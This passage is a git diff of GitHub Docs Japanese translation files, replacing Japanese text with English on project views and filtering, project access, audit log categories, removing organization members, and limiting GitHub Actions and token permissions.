グループ化 +## Grouping by field values -In the table layout, you can group items by a custom field value. アイテムがグループ化されると、アイテムを新しいグループにドラッグした場合、そのグループの値が適用されます。 たとえば`Status`でグループ化して、ステータスが`In progress`のアイテムを`Done`のグループにドラッグすると、そのアイテムのステータスは`Done`に切り替わります。 +In the table layout, you can group items by a custom field value. When items are grouped, if you drag an item to a new group, the value of that group is applied. For example, if you group by "Status" and then drag an item with a status of `In progress` to the `Done` group, the status of the item will switch to `Done`. {% note %} @@ -93,68 +93,93 @@ In the table layout, you can group items by a custom field value. アイテム {% endnote %} 1. {% data reusables.projects.open-command-palette %} -2. "Group by" あるいはグループ化に使いたいフィールド名を入力し始めてください。 -3. 希望するコマンド（たとえば"Group by: Status"）を選択してください。 -4. あるいは、グループ化に使いたいフィールド名の隣のドロップダウンメニューを選択し、**Group by values（値でグループ化）**をクリックしてください。 +2. Start typing "Group by" or the name of the field you want to group by. +3. Choose the required command. For example, **Group by: Status**. +4. Alternatively, click the drop-down menu next to the field name that you want to group by and click **Group by values**. -グループを削除するには、同じようなステップに従ってください。 +Follow similar steps to remove a grouping. 1. {% data reusables.projects.open-command-palette %} -2. "Remove group-by"と入力し始めてください。 -3. "Remove group-by"コマンドを選択してください。 -4. あるいは、ビュー名の隣のドロップダウンメニューを選択し、現在のグループ化を示すメニューアイテムをクリックしてください。 +2. Start typing "Remove group-by". +3. Choose **Remove group-by**. +4. Alternatively, click the drop-down menu next to the view name and click the menu item that indicates the current grouping. -## フィルタ +## Filtering rows -Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. 入力していくと、利用できる値が表示されます。 +Click {% octicon "search" aria-label="the search icon" %} at the top of the table to show the "Filter by keyword or field" bar. Start typing the field name and value that you want to filter by. As you type, possible values will appear. - To filter for multiple values, separate the values with a comma. For example `label:"good first issue",bug` will list all issues with a label `good first issue` or `bug`. - To filter for the absence of a specific value, place `-` before your filter. For example, `-label:"bug"` will only show items that do not have the label `bug`. - To filter for the absence of all values, enter `no:` followed by the field name. For example, `no:assignee` will only show items that do not have an assignee. - To filter by state, enter `is:`. For example, `is: issue` or `is:open`. -- 複数のフィルタは空白で区切ってください。 For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. +- Separate multiple filters with a space. For example, `status:"In progress" -label:"bug" no:assignee` will show only items that have a status of `In progress`, do not have the label `bug`, and do not have an assignee. Alternatively, use the command palette. 1. {% data reusables.projects.open-command-palette %} -2. Filter by"あるいはフィルタリングに使いたいフィールド名を入力し始めてください。 -3. 希望するコマンド（たとえば"Filter by Status"）を選択してください。 -4. フィルタに使いたい値（たとえば"In progress")を入力してください。 You can also filter for the absence of specific values (for example: "Exclude status") or the absence of all values (for example: "No status"). +2. Start typing "Filter by" or the name of the field you want to filter by. +3. Choose the required command. For example, **Filter by Status**. +4. Enter the value that you want to filter for. For example: "In progress". You can also filter for the absence of specific values (for example, choose "Exclude status" then choose a status) or the absence of all values (for example, "No status"). In board layout, you can click on item data to filter for items with that value. For example, click on an assignee to show only items for that assignee. To remove the filter, click the item data again. -## ビューの保存 +## Creating a project view -ビューを保存すると、プロジェクトの特定の側面を素早く見ることができるようになります。 たとえば、以下のようなビューを持つことができます。 -- すべての開始されていないアイテム（"Status"でフィルタ）を表示するビュー。 -- Teamの各メンバーの作業負荷を表示する（"Asssignee"でグループ化して"Status"でフィルタ）ビュー。 -- 最短のターゲット出荷日を持つアイテムを表示する（日付フィールドでソート）ビュー。 +Project views allow you to quickly view specific aspects of your project. Each view is displayed on a separate tab in your project. -以下のステップは、新しいビューを追加する方法を紹介しています。 +For example, you can have: +- A view that shows all items not yet started (filter on "Status"). +- A view that shows the workload for each team (group by a custom "Team" field). +- A view that shows the items with the earliest target ship date (sort by a date field). + +To add a new view: 1. {% data reusables.projects.open-command-palette %} -2. "New view"（新しいビューを作成する場合）あるいは"Duplicate view"（現在のビューを複製する場合）と入力し始めます。 -3. 希望するコマンドを選択してください。 -4. あるいは、最も右側のビューの隣にある{% octicon "plus" aria-label="the plus icon" %} **New view（新しいビュー）**をクリックしてください。 -5. あるいは、ビュー名の隣にあるドロップダウンメニューを選択し、**Duplicate view（ビューを複製）**をクリックしてください。 +2. Start typing "New view" (to create a new view) or "Duplicate view" (to duplicate the current view). +3. Choose the required command. +4. Alternatively, click {% octicon "plus" aria-label="the plus icon" %} **New view** next to the rightmost view. +5. Alternatively, click the drop-down menu next to a view name and click **Duplicate view**. -ビューに変更を加えると、ビュー名の隣にドットが表示され、そのビューが変更されたことを示します。 変更を保存したくなければ、この表示は無視してかまいません。 すべてのプロジェクトメンバーに対してビューを保存するには以下のようにします。 +The new view is automatically saved. +## Saving changes to a view + +When you make changes to a view - for example, sorting, reordering, filtering, or grouping the data in a view - a dot is displayed next to the view name to indicate that there are unsaved changes. + +![Unsaved changes indicator](/assets/images/help/projects/unsaved-changes.png) + +If you don't want to save the changes, you can ignore this indicator. No one else will see your changes. + +To save the current configuration of the view for all project members: 1. {% data reusables.projects.open-command-palette %} -1. "Save view"あるいは"Save changes to new view"と入力し始めてください。 -1. 希望するコマンドを選択してください。 -1. あるいは、ビュー名の隣にあるドロップダウンメニューを選択し、**Save view（ビューを保存）**あるいは**Save changes to new view（新しいビューに変更を保存）**をクリックしてください。 +1. Start typing "Save view" or "Save changes to new view". +1. Choose the required command. +1. Alternatively, click the drop-down menu next to a view name and click **Save view** or **Save changes to new view**. -ビューの名前を変更するには、ビュー名をダブルクリックしてから、希望する名前を入力してください。 +## Reordering saved views -ビューを削除するには以下のようにしてください。 +To change the order of the tabs that contain your saved views, click and drag a tab to a new location. +The new tab order is automatically saved. + +## Renaming a saved view + +To rename a view: +1. Double click the name in the project tab. +1. Change the name. +1. Press Enter, or click outside of the tab. + +The name change is automatically saved. + +## Deleting a saved view + +To delete a view: 1. {% data reusables.projects.open-command-palette %} -2. "Delete view"と入力し始めてください。 -3. 希望するコマンドを選択してください。 -4. あるいは、ビュー名の隣にあるドロップダウンメニューを選択し、**Delete view（ビューを削除）**をクリックしてください。 +2. Start typing "Delete view". +3. Choose the required command. +4. Alternatively, click the drop-down menu next to a view name and click **Delete view**. -## 参考リンク +## Further reading - "[About projects (beta)](/issues/trying-out-the-new-projects-experience/about-projects)" - "[Creating a project (beta)](/issues/trying-out-the-new-projects-experience/creating-a-project)" diff --git a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md index fce0c4c06f..0e92893d8d 100644 --- a/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md +++ b/translations/ja-JP/content/issues/trying-out-the-new-projects-experience/managing-access-to-projects.md @@ -15,9 +15,9 @@ topics: ## About project access -Admins of organization-level projects can manage access to their organization's projects for everyone in the organization. Organization project admins can also manage access for individual organization members. +Admins of organization-level projects can manage access for the entire organization, for teams, and for individual organization members. -Admins of user-level projects can invite collaborators and manage access for individual collaborators. +Admins of user-level projects can invite individual collaborators and manage their access. Project admins can also control the visibility of their project for everyone on the internet. For more information, see "[Managing the visibility of your projects](/issues/trying-out-the-new-projects-experience/managing-the-visibility-of-your-projects)." @@ -35,17 +35,19 @@ The default base role is `write`, meaning that everyone in the organization can - **Write**: Everyone in the organization can see and edit the project. Organization owners are also admins for the project. - **Admin**: Everyone in the organization is an admin for the project. -### Managing access for individual members of your organization +### Managing access for teams and individual members of your organization -You can also add individual organization members as collaborators to your project. Only organization members can be added as collaborators to organization projects. +You can also add teams, and individual organization members, as collaborators. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)." + +You can only invite an individual user to collaborate on your organization-level project if they are a member of the organization. {% data reusables.projects.project-settings %} 1. Click **Manage access**. -1. Under **Invite collaborators**, search for the organization member that you want to invite. +1. Under **Invite collaborators**, search for the team or organization member that you want to invite. 1. Select the role for the collaborator. - - **Read**: The individual can view the project. - - **Write**: The individual can view and edit the project. - - **Admin**: The individual can view, edit, and add new collaborators to the project. + - **Read**: The team or individual can view the project. + - **Write**: The team or individual can view and edit the project. + - **Admin**: The team or individual can view, edit, and add new collaborators to the project. 1. Click **Invite**. ### Managing access of an existing collaborator on your project @@ -53,6 +55,9 @@ You can also add individual organization members as collaborators to your projec {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Type** and **Role** drop-down menus to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). ## Managing access for user-level projects @@ -79,4 +84,7 @@ This only affects collaborators for your project, not for repositories in your p {% data reusables.projects.project-settings %} 1. Click **Manage access**. 1. Under **Manage access**, find the collaborator(s) whose permissions you want to modify. + + You can use the **Role** drop-down menu to filter the access list. + 1. Edit the role for the collaborator(s) or click {% octicon "trash" aria-label="the trash icon" %} to remove the collaborator(s). diff --git a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md index 78d03453ff..3765400734 100644 --- a/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md +++ b/translations/ja-JP/content/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization.md @@ -39,8 +39,8 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`billing`](#billing-category-actions) | Contains all activities related to your organization's billing. | [`business`](#business-category-actions) | Contains activities related to business settings for an enterprise. | | [`codespaces`](#codespaces-category-actions) | Contains all activities related to your organization's codespaces. |{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} -| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot %} alerts in new repositories created in the organization. +| [`dependabot_alerts`](#dependabot_alerts-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in existing repositories. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| [`dependabot_alerts_new_repos`](#dependabot_alerts_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_alerts %} in new repositories created in the organization. | [`dependabot_security_updates`](#dependabot_security_updates-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} in existing repositories. For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)." | [`dependabot_security_updates_new_repos`](#dependabot_security_updates_new_repos-category-actions) | Contains organization-level configuration activities for {% data variables.product.prodname_dependabot_security_updates %} for new repositories created in the organization.{% endif %}{% ifversion fpt or ghec %} | [`dependency_graph`](#dependency_graph-category-actions) | Contains organization-level configuration activities for dependency graphs for repositories. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." @@ -71,7 +71,7 @@ To search for specific events, use the `action` qualifier in your query. Actions | [`repository_dependency_graph`](#repository_dependency_graph-category-actions) | Contains repository-level activities related to enabling or disabling the dependency graph for a {% ifversion fpt or ghec %}private {% endif %}repository. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)."{% endif %} | [`repository_secret_scanning`](#repository_secret_scanning-category-actions) | Contains repository-level activities related to secret scanning. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} | [`repository_vulnerability_alert`](#repository_vulnerability_alert-category-actions) | Contains all activities related to [{% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies).{% endif %}{% ifversion fpt or ghec %} -| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot %} alerts.{% endif %}{% ifversion ghec %} +| [`repository_vulnerability_alerts`](#repository_vulnerability_alerts-category-actions) | Contains repository-level configuration activities for {% data variables.product.prodname_dependabot_alerts %}.{% endif %}{% ifversion ghec %} | [`role`](#role-category-actions) | Contains all activities related to [custom repository roles](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization).{% endif %} | [`secret_scanning`](#secret_scanning-category-actions) | Contains organization-level configuration activities for secret scanning in existing repositories. For more information, see "[About secret scanning](/github/administering-a-repository/about-secret-scanning)." | [`secret_scanning_new_repos`](#secret_scanning_new_repos-category-actions) | Contains organization-level configuration activities for secret scanning for new repositories created in the organization. {% ifversion fpt or ghec %} @@ -661,8 +661,8 @@ For more information, see "[Managing the publication of {% data variables.produc | Action | Description |------------------|------------------- -| `create` | Triggered when {% data variables.product.product_name %} creates a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." -| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot %}{% else %}security{% endif %} alert about a vulnerable dependency. +| `create` | Triggered when {% data variables.product.product_name %} creates a {% data variables.product.prodname_dependabot %} alert for a repository that uses a vulnerable dependency. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." +| `dismiss` | Triggered when an organization owner or person with admin access to the repository dismisses a {% data variables.product.prodname_dependabot %} alert about a vulnerable dependency. | `resolve` | Triggered when someone with write access to a repository pushes changes to update and resolve a vulnerability in a project dependency. {% endif %}{% ifversion fpt or ghec %} diff --git a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md index e55836aed5..160e49af6a 100644 --- a/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-membership-in-your-organization/removing-a-member-from-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization からメンバーを削除する -intro: Organization のメンバーが、Organization が所有するリポジトリへのアクセスを必要としなくなった場合、そのメンバーを Organization から削除することができます。 +title: Removing a member from your organization +intro: 'If members of your organization no longer require access to any repositories owned by the organization, you can remove them from the organization.' redirect_from: - /articles/removing-a-member-from-your-organization - /github/setting-up-and-managing-organizations-and-teams/removing-a-member-from-your-organization @@ -12,20 +12,22 @@ versions: topics: - Organizations - Teams -shortTitle: メンバーの削除 +shortTitle: Remove a member --- -Organization からメンバーを削除できるのは、Organization のオーナーだけです。 +Only organization owners can remove members from an organization. {% ifversion fpt or ghec %} {% warning %} -**警告:** Organization からメンバーを削除する際は次の点にご注意ください: -- 有料ライセンスのカウントは自動的にはダウングレードされません。 Organization からユーザを削除したあとに有料シートの数を減らすには、「[Organization の有料ライセンスをダウングレードする](/articles/downgrading-your-organization-s-paid-seats)」の手順に従ってください。 -- 削除されたメンバーは Organization のプライベートリポジトリのプライベートフォークへのアクセスは失いますが、ローカルコピーを自分で持っておくことは可能です。 ただし、ローカルコピーを Organization のリポジトリと同期させることはできません。 そのプライベートフォークは、そのユーザが Organization から削除されてから 3 か月以内に [Organization メンバーとして復帰した](/articles/reinstating-a-former-member-of-your-organization)場合、リストアできます。 最終的に、リポジトリへのアクセスを失った個人に、機密情報や知的財産を確実に削除してもらうのは、あなたの責任です。 -- If your organization is owned by an enterprise account, removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. 詳細は「[Enterprise アカウントについて](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)」を参照してください。 -- 削除されたメンバーによって送信され、まだ受け取られていない Organization への招待がある場合はキャンセルされ、アクセスできなくなります。 +**Warning:** When you remove members from an organization: +- The paid license count does not automatically downgrade. To pay for fewer licenses after removing users from your organization, follow the steps in "[Downgrading your organization's paid seats](/articles/downgrading-your-organization-s-paid-seats)." +- Removed members will lose access to private forks of your organization's private repositories, but they may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. +{%- ifversion ghec %} +- Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization owned by the same enterprise account. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)." +{%- endif %} +- Any organization invitations sent by a removed member, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -33,10 +35,10 @@ Organization からメンバーを削除できるのは、Organization のオー {% warning %} -**警告:** Organization からメンバーを削除する際は次の点にご注意ください: - - 削除されたメンバーは Organization のプライベートリポジトリのプライベートフォークへのアクセスは失いますが、ローカルコピーを自分で持っておくことは可能です。 ただし、ローカルコピーを Organization のリポジトリと同期させることはできません。 そのプライベートフォークは、そのユーザが Organization から削除されてから 3 か月以内に [Organization メンバーとして復帰した](/articles/reinstating-a-former-member-of-your-organization)場合、リストアできます。 最終的に、リポジトリへのアクセスを失った個人に、機密情報や知的財産を確実に削除してもらうのは、あなたの責任です。 +**Warning:** When you remove members from an organization: + - Removed members will lose access to private forks of your organization's private repositories, but may still have local copies. However, they cannot sync local copies with your organization's repositories. Their private forks can be restored if the user is [reinstated as an organization member](/articles/reinstating-a-former-member-of-your-organization) within three months of being removed from the organization. Ultimately, you are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. - Removed members will also lose access to private forks of your organization's internal repositories, if the removed member is not a member of any other organization in your enterprise. - - 削除されたユーザーによって送信され、まだ受け取られていない Organization への招待がある場合はキャンセルされ、アクセスできなくなりすま。 + - Any organization invitations sent by the removed user, that have not been accepted, are cancelled and will not be accessible. {% endwarning %} @@ -44,21 +46,24 @@ Organization からメンバーを削除できるのは、Organization のオー {% ifversion fpt or ghec %} -Organization から削除する個人の移行と、その個人による機密情報や知的財産の削除ができるようにするため、Organization から離脱する際のベストプラクティスのチェックリストを共有するよう推奨します。 例については、「[退職のためのベストプラクティス](/articles/best-practices-for-leaving-your-company/)」を参照してください。 +To help the person you're removing from your organization transition and help ensure they delete confidential information or intellectual property, we recommend sharing a checklist of best practices for leaving your organization. For an example, see "[Best practices for leaving your company](/articles/best-practices-for-leaving-your-company/)." {% endif %} {% data reusables.organizations.data_saved_for_reinstating_a_former_org_member %} -## ユーザのメンバーシップを削除する +## Revoking the user's membership {% data reusables.profile.access_org %} {% data reusables.user_settings.access_org %} {% data reusables.organizations.people %} -4. Organization から削除するメンバーを選択します。 ![2 人のメンバーを選択した状態のメンバーリスト](/assets/images/help/teams/list-of-members-selected-bulk.png) -5. メンバーのリストの上のドロップダウンメニューで、[**Remove from organization**] をクリックします。 ![メンバーを削除するオプションのあるドロップダウンメニュー](/assets/images/help/teams/user-bulk-management-options.png) -6. Organization から削除されるメンバーをレビューしてから、[**Remove members**] をクリックします。 ![削除されるメンバーのリストおよび [Remove members] ボタン](/assets/images/help/teams/confirm-remove-members-bulk.png) +4. Select the member or members you'd like to remove from the organization. + ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png) +5. Above the list of members, use the drop-down menu, and click **Remove from organization**. + ![Drop-down menu with option to remove members](/assets/images/help/teams/user-bulk-management-options.png) +6. Review the member or members who will be removed from the organization, then click **Remove members**. + ![List of members who will be removed and Remove members button](/assets/images/help/teams/confirm-remove-members-bulk.png) -## 参考リンク +## Further reading -- 「[チームから Organization メンバーを削除する](/articles/removing-organization-members-from-a-team)」 +- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)" diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md index d8a8cc7699..4b2252d181 100644 --- a/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization について GitHub Actions を無効化または制限する -intro: Organization のオーナーは Organization の GitHub Actions を無効化、有効化、制限することができます。 +title: Disabling or limiting GitHub Actions for your organization +intro: 'Organization owners can disable, enable, and limit GitHub Actions for an organization.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/disabling-or-limiting-github-actions-for-your-organization versions: @@ -11,59 +11,60 @@ versions: topics: - Organizations - Teams -shortTitle: アクションの無効化もしくは制限 +shortTitle: Disable or limit actions --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## Organization の {% data variables.product.prodname_actions %} 権限について +## About {% data variables.product.prodname_actions %} permissions for your organization -{% data reusables.github-actions.disabling-github-actions %} {% data variables.product.prodname_actions %} の詳細は、「[{% data variables.product.prodname_actions %}について](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。 +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -Organization のすべてのリポジトリについて {% data variables.product.prodname_actions %} を有効化することができます。 {% data reusables.github-actions.enabled-actions-description %} Organization のすべてのリポジトリについて 、{% data variables.product.prodname_actions %} を無効化できます。 {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for all repositories in your organization. {% data reusables.github-actions.disabled-actions-description %} -あるいは、Organization のすべてのリポジトリについて {% data variables.product.prodname_actions %} を有効化したうえで、ワークフローで実行できるアクションを制限することができます。 {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} for all repositories in your organization but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## Organization の {% data variables.product.prodname_actions %} 権限の管理 +## Managing {% data variables.product.prodname_actions %} permissions for your organization -Organization のワークフローをすべて無効にすることも、Organization でどのアクションを使用できるかを設定するポリシーを設定することもできます。 +You can disable all workflows for an organization or set a policy that configures which actions can be used in an organization. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**注釈:** Organizationが、優先ポリシーのある Enterprise アカウントによって管理されている場合、これらの設定を管理できない場合があります。 For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +**Note:** You might not be able to manage these settings if your organization is managed by an enterprise that has overriding policy. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. [**Policies**] でオプションを選択します。 ![この Organization に対するアクションポリシーを設定する](/assets/images/help/organizations/actions-policy.png) -1. [**Save**] をクリックします。 +1. Under **Policies**, select an option. + ![Set actions policy for this organization](/assets/images/help/organizations/actions-policy.png) +1. Click **Save**. -## 特定のアクションの実行を許可する +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. [**Policies**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。 - {%- ifversion ghes %} - ![許可リストにアクションを追加する](/assets/images/help/organizations/actions-policy-allow-list.png) +1. Under **Policies**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/organizations/actions-policy-allow-list.png) {%- else %} - ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/organizations/actions-policy-allow-list.png) {%- endif %} -1. [**Save**] をクリックします。 +1. Click **Save**. {% ifversion fpt or ghec %} -## パブリックフォークからのワークフローに対する必須の承認の設定 +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} -You can configure this behavior for an organization using the procedure below. この設定を変更すると、Enterpriseレベルでの設定が上書きされます。 +You can configure this behavior for an organization using the procedure below. Modifying this setting overrides the configuration set at the enterprise level. {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -74,11 +75,11 @@ You can configure this behavior for an organization using the procedure below. {% endif %} {% ifversion fpt or ghes or ghec %} -## プライベートリポジトリのフォークのワークフローを有効にする +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### Organization のプライベートフォークポリシーを設定する +### Configuring the private fork policy for an organization {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} @@ -87,20 +88,21 @@ You can configure this behavior for an organization using the procedure below. {% endif %} {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} -## Organizationに対する`GITHUB_TOKEN`の権限の設定 +## Setting the permissions of the `GITHUB_TOKEN` for your organization {% data reusables.github-actions.workflow-permissions-intro %} -Organizationもしくはリポジトリの設定で、`GITHUB_TOKEN`のデフォルト権限を設定できます。 Organizationの設定でデフォルトとして制限付きのオプションを選択した場合、そのオプションはOrganization内のリポジトリの設定でも自動設定され、許可するようなオプションは無効化されます。 Organizationが{% data variables.product.prodname_enterprise %}に属しており、Enterprise設定でさらに制約の強いデフォルトが選択されている場合、Organizationの設定でもっと許可をするようなデフォルトは選択できません。 +You can set the default permissions for the `GITHUB_TOKEN` in the settings for your organization or your repositories. If you choose the restricted option as the default in your organization settings, the same option is auto-selected in the settings for repositories within your organization, and the permissive option is disabled. If your organization belongs to a {% data variables.product.prodname_enterprise %} account and the more restricted default has been selected in the enterprise settings, you won't be able to choose the more permissive default in your organization settings. {% data reusables.github-actions.workflow-permissions-modifying %} -### デフォルトの`GITHUB_TOKEN`権限の設定 +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.profile.access_profile %} {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.settings-sidebar-actions %} -1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![このOrganizationのGITHUB_TOKENの権限を設定](/assets/images/help/settings/actions-workflow-permissions-organization.png) -1. **Save（保存）**をクリックして、設定を適用してください。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this organization](/assets/images/help/settings/actions-workflow-permissions-organization.png) +1. Click **Save** to apply the settings. {% endif %} diff --git a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md index 2795efeef6..67a4c82971 100644 --- a/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md +++ b/translations/ja-JP/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md @@ -1,6 +1,6 @@ --- -title: Organization のリポジトリのデフォルブランチ名を管理する -intro: Organization でメンバーが作成するリポジトリについて、デフォルトブランチ名を設定できます。 +title: Managing the default branch name for repositories in your organization +intro: 'You can set the default branch name for repositories that members create in your organization on {% data variables.product.product_location %}.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/managing-the-default-branch-name-for-repositories-in-your-organization permissions: Organization owners can manage the default branch name for new repositories in the organization. @@ -12,26 +12,29 @@ versions: topics: - Organizations - Teams -shortTitle: デフォルトブランチ名の管理 +shortTitle: Manage default branch name --- -## デフォルトブランチ名について +## About management of the default branch name -Organization のメンバーが Organization で新しいリポジトリを作成するとき、リポジトリにはブランチが 1 つ含まれます。これがデフォルトブランチです。 Organization のメンバーが新しいリポジトリを作成するとき、{% data variables.product.prodname_dotcom %} はブランチを 1 つ作成し、それをリポジトリのデフォルトブランチに設定します。 デフォルトブランチの詳細については、「[ブランチについて](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)」を参照してください。 +When a member of your organization creates a new repository in your organization, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories that members of your organization create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." -{% data reusables.branches.set-default-branch %} +{% data reusables.branches.change-default-branch %} -Enterprise のオーナーが Enterprise のデフォルトブランチ名にポリシーを適用している場合、Organization のデフォルトブランチ名を設定することはできません。 代わりに、個々のリポジトリのデフォルトブランチを変更できます。 For more information, see {% ifversion fpt %}"[Enforcing repository management policies in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% else %}"[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#enforcing-a-policy-for-the-default-branch-name)"{% endif %} and "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)." +If an enterprise owner has enforced a policy for the default branch name for your enterprise, you cannot set a default 